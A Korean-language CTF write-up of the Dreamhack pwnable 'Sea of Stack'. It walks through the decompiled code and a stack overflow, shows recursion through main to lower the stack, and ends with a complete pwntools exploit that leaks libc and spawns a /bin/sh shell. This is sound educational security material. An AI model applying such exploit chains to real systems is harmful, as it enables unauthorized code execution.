[Dreamhack] PWN Sea of Stack

드림핵 포너블 문제 Sea of Stack 문제 풀이다.

해당 문제를 보면 우분투 22.04기반 컨테이너에 동작하고 libc 파일이 주어진다. prob 바이너리가 주어지며 이를 실행시키면 다음과 같은 동작을 가진다.

root@b87ade2e40ca:/home# ./prob
If you really want to give me a present, bring me that kind detective's heart.
> aaaaaaaaaaaaaaa
Sea of Stack
1. safe func
2. unsafe func
> 1
aaaaaaaaaaaaaaaaaaaaaaaa

기드라 디컴파일러를 통해 해당 바이너리를 열어보자. 메인함수의 코드는 매우 간단하다. 코드를 살펴보면 다음과 같다.

undefined8 main(void)

{
  int iVar1;
  undefined8 local_38;
  undefined8 *local_30;
  char local_28 [28];
  int local_c;
  
  proc_init();
  printf("If you really want to give me a present, bring me that kind detective\'s heart.\n> ") ;
  read_input(local_28,0x10);
  iVar1 = strcmp(local_28,"Decision2Solve");
  if ((iVar1 == 0) && (gotPresent == 0)) {
    read_input(&local_30,8);
    read_input(&local_38,6);
    *local_30 = local_38;
    gotPresent = 1;
  }
  print_menu();
  local_c = read_number();
  if (local_c == 1) {
    (*(code *)safe)();
  }
  else if (local_c == 2) {
    (*(code *)unsafe)();
  }
  return 0;
}

또한 safe함수와 unsafe함수는 다음과 같다.

void safe_func(void)

{
  undefined local_38 [48];
  
  read_input(local_38,0x29);
  memset(local_38,0,0x28);
  return;
}

void unsafe_func(void)

{
  undefined local_28 [32];
  
  read_input(local_28,0x10000);
  return;
}

우선 unsafe 함수에서 오버플로우가 가능하다. libc가 주어진 것으로 보아, libc 주소를 leak해 ROP 체이닝을 해야할 것으로 예상된다.

간단하게 unsafe 함수에서 오버플로우를 시도해본다. 0x10000만큼의 임의 값을 입력하면 오류가 발생하며 gdb를 통해 확인하면 스택의 크기를 벗어난 지점에 값을 쓰려고 하여 권한 문제가 발생한다.

여기서 재밌는 트릭을 사용한다. main함수의 if 구문을 보면 0x10만큼 입력받은 문자열이 Decision2Solve와 동일한지 검사하여 동일하면 입력한 주소 부분에 원하는 값을 6만큼 쓸 수 있다.

취약점 트리거를 해야하는 unsafe함수를 이용해야 한다. 따라서 safe 함수 위치를 main함수 주소로 덮어 main을 여러번 call 한다.

필자는 1000번의 call을 진행했으며 첫번째 실행의 rsp, rbp와 1000번을 실행한 rsp, rbp를 비교해보자.

//첫번째 main함수 지점 레지스터
*RAX  0x401446 (main) ◂— endbr64 
 RBX  0
 RCX  0x7d89cf314992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x404010 (safe) —▸ 0x4013f0 (safe_func) ◂— endbr64 
 RDI  0
 RSI  0x7fffe0176627 ◂— 0x60000000100
 R8   0x51
 R9   0x7d89cf521040 (_dl_fini) ◂— endbr64 
 R10  0x402048 ◂— "If you really want to give me a present, bring me that kind detective's heart.\n> "
 R11  0x246
 R12  0x7fffe0176788 —▸ 0x7fffe0176fd3 ◂— 0x4c00626f72702f2e /* './prob' */
 R13  0x401446 (main) ◂— endbr64 
 R14  0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7d89cf555040 (_rtld_global) —▸ 0x7d89cf5562e0 ◂— 0
*RBP  0x7fffe0176670 ◂— 1
*RSP  0x7fffe0176640 —▸ 0x401446 (main) ◂— endbr64 
*RIP  0x4014ca (main+132) ◂— mov qword ptr [rdx], rax


//1000번 main 호출 이후 main함수 지점 레지스터
*RAX  0
 RBX  0
*RCX  0x7fffe0166bd1 ◂— 0x4600007fffe01767
*RDX  0x401426 (unsafe_func) ◂— endbr64 
*RDI  0xa
*RSI  2
*R8   0x1999999999999999
*R9   0
*R10  0x7d89cf3beac0 ◂— 0x100000000
*R11  0x7d89cf3bf3c0 ◂— 0x2000200020002
 R12  0x7fffe0176788 —▸ 0x7fffe0176fd3 ◂— 0x4c00626f72702f2e /* './prob' */
 R13  0x401446 (main) ◂— endbr64 
 R14  0x403d98 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7d89cf555040 (_rtld_global) —▸ 0x7d89cf5562e0 ◂— 0
*RBP  0x7fffe0166bf0 —▸ 0x7fffe0166c30 —▸ 0x7fffe0166c70 —▸ 0x7fffe0166cb0 —▸ 0x7fffe0166cf0 ◂— ...
*RSP  0x7fffe0166bf0 —▸ 0x7fffe0166c30 —▸ 0x7fffe0166c70 —▸ 0x7fffe0166cb0 —▸ 0x7fffe0166cf0 ◂— ...
*RIP  0x40142e (unsafe_func+8) ◂— sub rsp, 0x20

위와 같이 rbp, rsp 값이 현저히 낮아진 것을 볼 수 있다. 스택 위치가 낮아짐에 따라서 0x10000값을 입력하여 오버플로우 공격이 가능하다.

카나리도 안걸려 있기 때문에 이후는 일반적인 ROP와 동일하다. 함수의 인자를 주기 위해 pop rdi; ret;가젯을 찾아준다. 이를 통해 puts 함수의 plt와 got를 이용해서 libc 주소를 leak 한다. 이후 다시 unsafe 함수를 호출하여 가젯을 이용해 /bin/sh를 인자로 하여 system함수를 실행한다.

아래는 익스플로잇 코드이다.

from pwn import *
context.update(arch='amd64', os='linux')
#p = remote("host3.dreamhack.games", 19571)
p = process("./prob", env={'LD_PRELOAD': './libc.so.6'})
# p = process("./prob")
libc = ELF("./libc.so.6")


p.sendafter(b"> ", b"Decision2Solve\x00\x00")

safe_addr = 0x404010
main_addr = 0x401446

p.send(p64(safe_addr))
p.send(b"\x46\x14\x40\x00\x00\x00")
p.sendafter(b"> ", b"1")

print(p.recv(79))

i = 0
while True:
    if (i == 1000):
        break
    p.sendafter(b"> ", b"a"*0x10)
    p.sendafter(b"> ", b"1")
    # sleep(0.01)
    i += 1
    print(i)

p.sendafter(b"> ", b"/bin/cat /flag\x00\x00")
print("1")

puts_plt = 0x04010c0
puts_got = 0x403fa8
prdi_prbp_ret = 0x40129b
unsafe_func = 0x0401426

p.sendafter(b"> ", b"2")

pl = b"a"*32
pl += b"b"*8
pl += p64(0x40129e)
pl += p64(prdi_prbp_ret)
pl += p64(puts_got)
pl += b"c"*8
pl += p64(puts_plt)
pl += p64(unsafe_func)
pl += b"c"*(0x10000-len(pl))

p.send(pl)

libc_leak = u64(p.recv(6)[:]+b"\x00\x00")
print(f"[+] leak addr : {hex(libc_leak)}")
offset = 0x58ED0
libc_base = libc_leak - offset
print(f"[+] libc base addr : {hex(libc_base)}")
system = libc_base+0x28D64
print(f"[+] system addr : {hex(system)}")
binsh = libc_base+0x1B0698
print(f"[+] /bin/sh addr : {hex(binsh)}")

exit = 0x04012f6

pl = p64(binsh)*4
pl += p64(binsh)
pl += p64(0x40129e)
pl += p64(0x40129e)
pl += p64(0x40129e)
pl += p64(0x40129e)
pl += p64(prdi_prbp_ret)
pl += p64(binsh)
pl += p64(binsh)
pl += p64(system)
pl += p64(exit)
pl += b"\x00"*(0x10000-len(pl))


p.send(pl)
p.interactive()